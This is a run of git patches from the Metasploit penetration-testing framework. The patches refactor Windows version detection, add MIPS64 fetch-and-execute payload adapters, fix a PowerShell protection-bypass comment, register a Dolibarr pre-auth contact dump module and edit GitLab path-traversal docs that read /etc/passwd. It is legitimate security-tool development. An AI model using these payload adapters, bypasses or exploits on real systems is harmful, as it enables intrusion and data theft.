cmd_exec('systeminfo') - bn_groups = build_num_raw.match(/OS Version:\s+(\d+)\.(\d+)\.(\d+).*((Service Pack\s+(\d+))|N\/A)/) - if bn_groups.nil? + build_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentBuildNumber') + version_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentVersion') + if build_str.nil? or version_str.nil? + print_error("Couldn't retrieve the target's build number!") + raise RuntimeError.new("Couldn't retrieve the target's build number!") + end + + build_num = build_str.to_i + version_match = version_str.match(/(\d+)\.(\d+)/) + if version_match.nil? print_error("Couldn't retrieve the target's build number!") raise RuntimeError.new("Couldn't retrieve the target's build number!") + end + major, minor = version_match.captures + major = major.to_i + minor = minor.to_i + + product = registry_query('HKLM\SYSTEM\CurrentControlSet\Control\ProductOptions', 'ProductType') + case product + when /WinNT/ + product_type = Msf::WindowsVersion::VER_NT_WORKSTATION + when /LanmanNT/ + product_type = Msf::WindowsVersion::VER_NT_DOMAIN_CONTROLLER + when /ServerNT/ + product_type = Msf::WindowsVersion::VER_NT_SERVER else - sp = bn_groups[6] - sp = 0 if sp.nil? - workstation = 'Standalone Workstation' - dc = 'Domain Controller' - server = 'Standalone Server' - product_regex_output = build_num_raw.match(/((#{workstation})|(#{dc})|(#{server}))/) - if product_regex_output.nil? - product_type = Msf::WindowsVersion::UnknownProduct - else - case product_regex_output[1] - when workstation - product_type = Msf::WindowsVersion::VER_NT_WORKSTATION - when dc - product_type = Msf::WindowsVersion::VER_NT_DOMAIN_CONTROLLER - when server - product_type = Msf::WindowsVersion::VER_NT_SERVER + product_type = Msf::WindowsVersion::UnknownProduct + end + + if major == 6 and minor == 3 and build_num > 9600 # 9600 is Windows 8.1 build number + # This is Windows 10+ - the version numbering is calculated differently + major = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMajorVersionNumber') + minor = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMinorVersionNumber') + if major.nil? or minor.nil? + print_error("Couldn't retrieve the target's build number!") + raise RuntimeError.new("Couldn't retrieve the target's build number!") + end + + major = major.to_i(16) + minor = minor.to_i(16) + Msf::WindowsVersion.new(major, minor, build_num, 0, product_type) + else + # Pre-Windows 10 + service_pack_raw = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CSDVersion') + service_pack = 0 + unless service_pack_raw.nil? + match = service_pack_raw.match(/Service Pack (\d+)/) + unless match.nil? + service_pack = match[1].to_i end end - Msf::WindowsVersion.new(bn_groups[1].to_i, bn_groups[2].to_i, bn_groups[3].to_i, sp, product_type) + + Msf::WindowsVersion.new(major, minor, build_num, service_pack, product_type) end end end From 568e346d11f4d043bdac6a9a82f55dbcbef15561 Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Tue, 30 May 2023 12:47:19 +1000 Subject: [PATCH 227/415] Support Windows 2000 by using `ver` command --- lib/msf/core/post/windows/version.rb | 37 ++++++++++++++++++++++------ lib/msf/core/windows_version.rb | 5 +++- 2 files changed, 34 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb index 62f6cc757b5dc..b849d63d861e7 100644 --- a/lib/msf/core/post/windows/version.rb +++ b/lib/msf/core/post/windows/version.rb @@ -32,6 +32,16 @@ def registry_query(key, value) end def get_version_info + result = get_version_info_impl + if result.nil? + print_error("Couldn't retrieve the target's build number!") + raise RuntimeError.new("Couldn't retrieve the target's build number!") + end + + result + end + + def get_version_info_impl if session.type == 'meterpreter' result = session.railgun.ntdll.RtlGetVersion(input_os_version_info_ex) os_version_info_ex = unpack_version_info(result['VersionInformation']) @@ -43,19 +53,33 @@ def get_version_info Msf::WindowsVersion.new(major, minor, build, service_pack, product_type) else + # Command shell - we'll try reg commands, and fall back to `ver` build_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentBuildNumber') + if build_str.nil? + # May be pre-XP, which doesn't have `reg`. If we're in a CMD shell, we'll hopefully have `ver` + # This seems to be language-pack-independent + build_num_raw = cmd_exec('ver') + groups = build_num_raw.match(/.*Version\s+(\d+)\.(\d+)\.(\d+)(\.(\d+))?/) + if groups.nil? + return nil + end + + major, minor, build, unused, revision = groups.captures + revision = 0 if revision.nil? + return Msf::WindowsVersion.new(major.to_i, minor.to_i, build.to_i, 0, Msf::WindowsVersion::UnknownProduct) + end + version_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentVersion') - if build_str.nil? or version_str.nil? - print_error("Couldn't retrieve the target's build number!") - raise RuntimeError.new("Couldn't retrieve the target's build number!") + if version_str.nil? + return nil end build_num = build_str.to_i version_match = version_str.match(/(\d+)\.(\d+)/) if version_match.nil? - print_error("Couldn't retrieve the target's build number!") - raise RuntimeError.new("Couldn't retrieve the target's build number!") + return nil end + major, minor = version_match.captures major = major.to_i minor = minor.to_i @@ -77,8 +101,7 @@ def get_version_info major = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMajorVersionNumber') minor = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMinorVersionNumber') if major.nil? or minor.nil? - print_error("Couldn't retrieve the target's build number!") - raise RuntimeError.new("Couldn't retrieve the target's build number!") + return nil end major = major.to_i(16) diff --git a/lib/msf/core/windows_version.rb b/lib/msf/core/windows_version.rb index 3e57b7bad3d8d..a90de384df820 100644 --- a/lib/msf/core/windows_version.rb +++ b/lib/msf/core/windows_version.rb @@ -49,6 +49,7 @@ module MajorRelease Win95 = 'Windows 95'.freeze Win98 = 'Windows 98'.freeze WinME = 'Windows ME'.freeze + Win2000 = 'Windows 2000'.freeze XP = 'Windows XP'.freeze Server2003 = 'Windows Server 2003'.freeze @@ -137,7 +138,9 @@ def xp_or_2003? # The major release within which this build fits def major_release_name if _major == 5 - if _minor == 1 + if _minor == 0 + return MajorRelease::Win2000 + elsif _minor == 1 return MajorRelease::XP elsif _minor == 2 return MajorRelease::Server2003 if windows_server? From 7bde39ae735199c158377461b07fef160ef37b9d Mon Sep 17 00:00:00 2001 From: Christophe De La Fuente Date: Tue, 30 May 2023 12:21:52 +0200 Subject: [PATCH 228/415] Fixes from code review --- lib/msf/core/exploit/powershell.rb | 4 +++- modules/exploits/multi/script/web_delivery.rb | 2 +- 2 files changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb index 2588fb8b23d9b..cdd3ef18a4150 100644 --- a/lib/msf/core/exploit/powershell.rb +++ b/lib/msf/core/exploit/powershell.rb @@ -262,10 +262,12 @@ def cmd_psh_payload(pay, payload_arch, opts = {}) # # Return all bypasses checking if PowerShell version > 3 # + # @param split [Integer] The number of parts the final script should be split in + # # @return [Array] PowerShell code to disable PowerShell Built-In # Protections as an array of elements. def bypass_powershell_protections(split = 1) - # generate the protections bypass in three short steps + # generate the protections bypass in four short steps # step 1: shuffle the instructions by rendering the GraphML script = Rex::Payloads::Shuffle.from_graphml_file( File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'), diff --git a/modules/exploits/multi/script/web_delivery.rb b/modules/exploits/multi/script/web_delivery.rb index 2f1a1578eb1ca..2d9eb72cd6153 100644 --- a/modules/exploits/multi/script/web_delivery.rb +++ b/modules/exploits/multi/script/web_delivery.rb @@ -267,7 +267,7 @@ def on_request_uri(cli, request) when 'Linux', 'Mac OS X', 'PSH (Binary)' data = generate_payload_exe when 'PSH', 'Regsvr32', 'pubprn', 'SyncAppvPublishingServer' - # Disable this option since the Powershel protection bypass should been done already. + # Disable this option since the Powershell protection bypass should been done already. opts = {} opts[:prepend_protections_bypass] = false if datastore['PSH-AmsiBypass'] data = cmd_psh_payload( From 4da004938fa35dad1894fa6dd3640669ec07be0f Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 30 May 2023 10:27:30 -0500 Subject: [PATCH 229/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 62 ++++++++++++++++++++++++++++++++++- 1 file changed, 61 insertions(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index e12c1336ca7e0..bf7eb05e1f130 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -19604,7 +19604,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2023-05-28 00:29:17 +0000", "path": "/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb", "is_install_path": true, "ref_name": "gather/ibm_sametime_enumerate_users", @@ -28450,6 +28450,66 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/dolibarr_16_contact_dump": { + "name": "Dolibarr 16 pre-auth contact database dump", + "fullname": "auxiliary/scanner/http/dolibarr_16_contact_dump", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-03-14", + "type": "auxiliary", + "author": [ + "Vladimir TOUTAIN", + "Nolan LOSSIGNOL-DRILLIEN" + ], + "description": "Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump.\n An unauthenticated attacker may retreive a company’s entire customer file, prospects, suppliers,\n and potentially employee information if a contact file exists.\n Both public and private notes are also included in the dump.", + "references": [ + "URL-https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/", + "URL-https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34", + "URL-https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7", + "URL-https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-05-24 09:28:41 +0000", + "path": "/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb", + "is_install_path": true, + "ref_name": "scanner/http/dolibarr_16_contact_dump", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/dolibarr_login": { "name": "Dolibarr ERP/CRM Login Utility", "fullname": "auxiliary/scanner/http/dolibarr_login", From 490a30aa4aa5986b3c2ee8390db88d4e16745275 Mon Sep 17 00:00:00 2001 From: Metasploit Date: Tue, 30 May 2023 11:34:17 -0500 Subject: [PATCH 230/415] automatic module_metadata_base.json update --- db/modules_metadata_base.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index bf7eb05e1f130..e73e6a1aae88c 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -55126,7 +55126,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-08-23 15:20:56 +0000", + "mod_time": "2023-05-25 23:46:18 +0000", "path": "/modules/encoders/cmd/brace.rb", "is_install_path": true, "ref_name": "cmd/brace", From cbf850b2b7f32d0f40aaba23e66c3769f291a551 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 30 May 2023 18:38:48 +0000 Subject: [PATCH 231/415] Apparently the comment after the rescue squelchs the linter. --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 7f7f20a15aa7b..615c1b3a76637 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -243,6 +243,7 @@ def exploit Timeout.timeout(datastore['HTTPDELAY']) { super } rescue Timeout::Error + # When the server stop due to our timeout, this is raised end def on_request_uri(cli, request) From b376dac34b6b236bedadef4e115057d73e8a1d44 Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 30 May 2023 18:40:59 +0000 Subject: [PATCH 232/415] okay linter --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 615c1b3a76637..983f2b4f2ccee 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -211,7 +211,7 @@ def check def exploit # Main function # 1) Bypass the auth using the SetupCompleted page & store the csrf_token for future requests. - @csrf_token = bypass_auth unless @csrf_token + @csrf_token ||= bypass_auth if @csrf_token.nil? fail_with Failure::NotVulnerable, 'Target is not vulnerable' end From 530ed911f4f2035fd90d0976c17c0277d9aeab1f Mon Sep 17 00:00:00 2001 From: catatonicprime Date: Tue, 30 May 2023 19:03:01 +0000 Subject: [PATCH 233/415] Fixing ZDI ID --- modules/exploits/multi/http/papercut_ng_auth_bypass.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb index 983f2b4f2ccee..3af81b873a4bf 100644 --- a/modules/exploits/multi/http/papercut_ng_auth_bypass.rb +++ b/modules/exploits/multi/http/papercut_ng_auth_bypass.rb @@ -29,7 +29,7 @@ def initialize(info = {}) 'Author' => ['catatonicprime'], 'References' => [ ['CVE', '2023–27350'], - ['ZDI', 'CAN-18987'], + ['ZDI', '23-233'], ['URL', 'https://www.papercut.com/kb/Main/PO-1216-and-PO-1219'], ['URL', 'https://www.horizon3.ai/papercut-cve-2023-27350-deep-dive-and-indicators-of-compromise/'], ['URL', 'https://www.bleepingcomputer.com/news/security/hackers-actively-exploit-critical-rce-bug-in-papercut-servers/'], From 8a0dfa57a05a7edc164253f9e3aa50ad7c7656c3 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 25 May 2023 11:49:38 -0400 Subject: [PATCH 234/415] Drop size requirement and fix descriptions The size requriement is used when the adapted payload is executed from the command line but that's not the case for the fetch payloads which execute a command to fetch the payload from a URL. The payload size doesn't matter because it's included in the executable file hosted at the URL. --- lib/msf/core/payload/adapter/fetch.rb | 12 ++---------- modules/payloads/adapters/cmd/linux/http/x64.rb | 2 +- modules/payloads/adapters/cmd/linux/https/x64.rb | 2 +- modules/payloads/adapters/cmd/linux/tftp/x64.rb | 2 +- 4 files changed, 5 insertions(+), 13 deletions(-) diff --git a/lib/msf/core/payload/adapter/fetch.rb b/lib/msf/core/payload/adapter/fetch.rb index 68118208e2496..285ae5b0a872d 100644 --- a/lib/msf/core/payload/adapter/fetch.rb +++ b/lib/msf/core/payload/adapter/fetch.rb @@ -36,14 +36,6 @@ def check_srvhost end end - def compatible?(mod) - if mod.type == Msf::MODULE_PAYLOAD && (mod.class.const_defined?(:CachedSize) && mod.class::CachedSize != :dynamic) && (mod.class::CachedSize >= 120_000) # echo does not have an unlimited amount of space - return false - end - super - end - - # If no fetch URL is provided, we generate one based off the underlying payload data # This is because if we use a randomly-generated URI, the URI generated by venom and # Framework will not match. This way, we can build a payload in venom and a listener @@ -310,7 +302,7 @@ def _generate_wget_command end cmd + _execute_add end - + def _remote_destination return _remote_destination_win if windows? return _remote_destination_nix @@ -339,4 +331,4 @@ def _remote_destination_win @remote_destination_win = payload_path @remote_destination_win end -end \ No newline at end of file +end diff --git a/modules/payloads/adapters/cmd/linux/http/x64.rb b/modules/payloads/adapters/cmd/linux/http/x64.rb index 4e6c18dd6b622..f18ae1f1f9929 100644 --- a/modules/payloads/adapters/cmd/linux/http/x64.rb +++ b/modules/payloads/adapters/cmd/linux/http/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'HTTP Fetch', - 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Description' => 'Fetch and execute an x64 payload from an HTTP server.', 'Author' => 'Brendan Watters', 'Platform' => 'linux', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/adapters/cmd/linux/https/x64.rb b/modules/payloads/adapters/cmd/linux/https/x64.rb index 34bf2e4e8de96..c1eb37017dbc0 100644 --- a/modules/payloads/adapters/cmd/linux/https/x64.rb +++ b/modules/payloads/adapters/cmd/linux/https/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'HTTPS Fetch', - 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Description' => 'Fetch and execute an x64 payload from an HTTPS server.', 'Author' => 'Brendan Watters', 'Platform' => 'linux', 'Arch' => ARCH_CMD, diff --git a/modules/payloads/adapters/cmd/linux/tftp/x64.rb b/modules/payloads/adapters/cmd/linux/tftp/x64.rb index 0fad3c06a78cf..e41205542c20c 100644 --- a/modules/payloads/adapters/cmd/linux/tftp/x64.rb +++ b/modules/payloads/adapters/cmd/linux/tftp/x64.rb @@ -12,7 +12,7 @@ def initialize(info = {}) update_info( info, 'Name' => 'TFTP Fetch', - 'Description' => 'Fetch and Execute an x64 payload from a TFTP server', + 'Description' => 'Fetch and execute an x64 payload from a TFTP server.', 'Author' => 'Brendan Watters', 'Platform' => 'linux', 'Arch' => ARCH_CMD, From d7098aa06d117a318c9f90ce38e78a6fc7178c14 Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 25 May 2023 13:20:59 -0400 Subject: [PATCH 235/415] Add MIPS64 fetch adapters --- .../adapters/cmd/linux/http/mips64.rb | 25 +++++++++++++++++++ .../adapters/cmd/linux/https/mips64.rb | 25 +++++++++++++++++++ .../adapters/cmd/linux/tftp/mips64.rb | 25 +++++++++++++++++++ 3 files changed, 75 insertions(+) create mode 100644 modules/payloads/adapters/cmd/linux/http/mips64.rb create mode 100644 modules/payloads/adapters/cmd/linux/https/mips64.rb create mode 100644 modules/payloads/adapters/cmd/linux/tftp/mips64.rb diff --git a/modules/payloads/adapters/cmd/linux/http/mips64.rb b/modules/payloads/adapters/cmd/linux/http/mips64.rb new file mode 100644 index 0000000000000..8cbdde61f21aa --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/http/mips64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and execute a MIPS64 payload from an HTTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPS64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/mips64.rb b/modules/payloads/adapters/cmd/linux/https/mips64.rb new file mode 100644 index 0000000000000..011e91ceb43c0 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/mips64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute an x64 payload from an HTTPS server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPS64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/tftp/mips64.rb b/modules/payloads/adapters/cmd/linux/tftp/mips64.rb new file mode 100644 index 0000000000000..89cdad891021e --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/tftp/mips64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and execute a MIPS64 payload from a TFTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPS64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end From c0671c325ad03a1ade132cd78b74e12bc7dfa265 Mon Sep 17 00:00:00 2001 From: Grant Willcox Date: Tue, 30 May 2023 15:27:31 -0500 Subject: [PATCH 236/415] Touch up typos in documentation --- .../scanner/http/gitlab_subgroups_file_read.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md index a8afca3c7f1f4..8c9e662e831b4 100644 --- a/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md +++ b/documentation/modules/auxiliary/scanner/http/gitlab_subgroups_file_read.md @@ -1,6 +1,6 @@ ## Vulnerable Application -Gitlab version 16.0 contains a directory traversal for arbitrary file read as the gitlab user. +GitLab version 16.0 contains a directory traversal for arbitrary file read as the `gitlab` user. In order to exploit this vulnerability, a user must be able to create a project and groups. When exploiting this vulnerability, a group (or subgroup under the group) must be created for each level of the traversal. If the depth is 11 for the dir traversal, then a group @@ -9,11 +9,11 @@ With all these requirements satisfied a dummy file is uploaded, and the full traversal is then executed. Cleanup is performed by deleting the first group which cascades to deleting all other objects created. -Tested on Docker image of gitlab 16.0 +Tested on a Docker image of GitLab 16.0 ### Install -A docker image is available: +A Docker image is available: ``` sudo docker run --detach \ @@ -49,7 +49,7 @@ sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password ### DEPTH -Depth for Path Traversal (also groups creation), 11 seems pretty safe but it may work with less. Defaults to `11` +Depth for path traversal (also groups creation). 11 seems pretty safe but it may work with less. Defaults to `11`. ### FILE @@ -57,7 +57,7 @@ File to read. Defaults to `/etc/passwd` ## Scenarios -### Docker Gitlab 16.0 +### Docker GitLab 16.0 ``` msf6 > use auxiliary/scanner/http/gitlab_subgroups_file_read From 778a2c47b7425706d2fa186c4e8d1463ba56a66e Mon Sep 17 00:00:00 2001 From: Ashley Donaldson Date: Wed, 31 May 2023 08:09:54 +1000 Subject: [PATCH 237/415] Updated unit tests to use registry --- lib/msf/core/post/windows/version.rb | 35 +- .../lib/msf/core/post/windows/version_spec.rb | 403 +++--------------- 2 files changed, 70 insertions(+), 368 deletions(-) diff --git a/lib/msf/core/post/windows/version.rb b/lib/msf/core/post/windows/version.rb index b849d63d861e7..86d22d701961f 100644 --- a/lib/msf/core/post/windows/version.rb +++ b/lib/msf/core/post/windows/version.rb @@ -19,9 +19,7 @@ def initialize(info = {}) def registry_query(key, value) cmd = 'reg query "' + key + '" /v ' + value - vprint_line("Running registry query: #{cmd}") raw_output = cmd_exec(cmd) - vprint_line("Output: #{raw_output}") regexp = "#{value}\\s+REG_\\w+\\s+(.*)" groups = raw_output.match(regexp) if groups.nil? @@ -41,6 +39,19 @@ def get_version_info result end + def get_version_info_fallback_impl + build_num_raw = cmd_exec('ver') + groups = build_num_raw.match(/.*Version\s+(\d+)\.(\d+)\.(\d+)(\.(\d+))?/) + if groups.nil? + return nil + end + + major, minor, build, unused, revision = groups.captures + revision = 0 if revision.nil? + # Default to workstation, since it'll likely be an older OS - pre Server editions + return Msf::WindowsVersion.new(major.to_i, minor.to_i, build.to_i, 0, Msf::WindowsVersion::VER_NT_WORKSTATION) + end + def get_version_info_impl if session.type == 'meterpreter' result = session.railgun.ntdll.RtlGetVersion(input_os_version_info_ex) @@ -56,28 +67,18 @@ def get_version_info_impl # Command shell - we'll try reg commands, and fall back to `ver` build_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentBuildNumber') if build_str.nil? - # May be pre-XP, which doesn't have `reg`. If we're in a CMD shell, we'll hopefully have `ver` - # This seems to be language-pack-independent - build_num_raw = cmd_exec('ver') - groups = build_num_raw.match(/.*Version\s+(\d+)\.(\d+)\.(\d+)(\.(\d+))?/) - if groups.nil? - return nil - end - - major, minor, build, unused, revision = groups.captures - revision = 0 if revision.nil? - return Msf::WindowsVersion.new(major.to_i, minor.to_i, build.to_i, 0, Msf::WindowsVersion::UnknownProduct) + return get_version_info_fallback_impl end version_str = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentVersion') if version_str.nil? - return nil + return get_version_info_fallback_impl end build_num = build_str.to_i version_match = version_str.match(/(\d+)\.(\d+)/) if version_match.nil? - return nil + return get_version_info_fallback_impl end major, minor = version_match.captures @@ -93,7 +94,7 @@ def get_version_info_impl when /ServerNT/ product_type = Msf::WindowsVersion::VER_NT_SERVER else - product_type = Msf::WindowsVersion::UnknownProduct + product_type = Msf::WindowsVersion::VER_NT_WORKSTATION end if major == 6 and minor == 3 and build_num > 9600 # 9600 is Windows 8.1 build number @@ -101,7 +102,7 @@ def get_version_info_impl major = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMajorVersionNumber') minor = registry_query('HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion', 'CurrentMinorVersionNumber') if major.nil? or minor.nil? - return nil + return get_version_info_fallback_impl end major = major.to_i(16) diff --git a/spec/lib/msf/core/post/windows/version_spec.rb b/spec/lib/msf/core/post/windows/version_spec.rb index 817828a01dd12..2dbdf500f14c8 100644 --- a/spec/lib/msf/core/post/windows/version_spec.rb +++ b/spec/lib/msf/core/post/windows/version_spec.rb @@ -1,7 +1,6 @@ # -*- coding: binary -*- require 'spec_helper' - RSpec.describe Msf::Post::Windows::Version do subject do @@ -14,342 +13,50 @@ klass.new end - let(:xp_sp2_systeminfo) do - 'Host Name: SMASH-72A287D2F -OS Name: Microsoft Windows XP Professional -OS Version: 5.1.2600 Service Pack 2 Build 2600 -OS Manufacturer: Microsoft Corporation -OS Configuration: Standalone Workstation -OS Build Type: Uniprocessor Free -Registered Owner: smash -Registered Organization: -Product ID: 76487-011-3892913-22389 -Original Install Date: 12/6/2022, 2:27:30 PM -System Up Time: 0 Days, 0 Hours, 51 Minutes, 12 Seconds -System Manufacturer: VMware, Inc. -System Model: VMware Virtual Platform -System type: X86-based PC -Processor(s): 1 Processor(s) Installed. - [01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2208 Mhz -BIOS Version: INTEL - 6040000 -Windows Directory: C:\WINDOWS -System Directory: C:\WINDOWS\system32 -Boot Device: \Device\HarddiskVolume1 -System Locale: en-us;English (United States) -Input Locale: en-us;English (United States) -Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney -Total Physical Memory: 511 MB -Available Physical Memory: 338 MB -Virtual Memory: Max Size: 2,048 MB -Virtual Memory: Available: 2,006 MB -Virtual Memory: In Use: 42 MB -Page File Location(s): C:\pagefile.sys -Domain: WORKGROUP -Logon Server: \\\\SMASH-72A287D2F -Hotfix(s): 3 Hotfix(s) Installed. - [01]: File 1 - [02]: Q147222 - [03]: KB911164 - Update -NetWork Card(s): 1 NIC(s) Installed. - [01]: VMware Accelerated AMD PCNet Adapter - Connection Name: Local Area Connection - DHCP Enabled: Yes - DHCP Server: 192.168.73.254 - IP address(es) - [01]: 192.168.73.147' + def respond_to_reg_query(subject, key, value, result, type) + command = "reg query \"#{key}\" /v #{value}" + output = "\r\n#{key}\r\n #{value} #{type} #{result}\r\n" + allow(subject).to receive(:cmd_exec).with(command) { output } + end + + let(:current_version_key) do + 'HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion' + end + + let(:current_build_number) do + 'CurrentBuildNumber' end - let(:server2003_sp1_systeminfo) do - 'Host Name: SMASH-P7NPUUMTB -OS Name: Microsoft(R) Windows(R) Server 2003, Standard Edition -OS Version: 5.2.3790 Service Pack 1 Build 3790 -OS Manufacturer: Microsoft Corporation -OS Configuration: Standalone Server -OS Build Type: Uniprocessor Free -Registered Owner: smash -Registered Organization: -Product ID: 69712-012-0000545-42062 -Original Install Date: 12/7/2022, 12:43:01 PM -System Up Time: N/A -System Manufacturer: VMware, Inc. -System Model: VMware Virtual Platform -System Type: X86-based PC -Processor(s): 1 Processor(s) Installed. - [01]: x86 Family 6 Model 158 Stepping 10 GenuineIntel ~2207 Mhz -BIOS Version: INTEL - 6040000 -Windows Directory: C:\WINDOWS -System Directory: C:\WINDOWS\system32 -Boot Device: \Device\HarddiskVolume1 -System Locale: en-us;English (United States) -Input Locale: en-us;English (United States) -Time Zone: (GMT+10:00) Canberra, Melbourne, Sydney -Total Physical Memory: 383 MB -Available Physical Memory: 229 MB -Page File: Max Size: 932 MB -Page File: Available: 799 MB -Page File: In Use: 133 MB -Page File Location(s): C:\pagefile.sys -Domain: WORKGROUP -Logon Server: \\\\SMASH-P7NPUUMTB -Hotfix(s): 1 Hotfix(s) Installed. - [01]: Q147222 -Network Card(s): 1 NIC(s) Installed. - [01]: Intel(R) PRO/1000 MT Network Connection - Connection Name: Local Area Connection - DHCP Enabled: Yes - DHCP Server: 192.168.73.254 - IP address(es) - [01]: 192.168.73.148' + 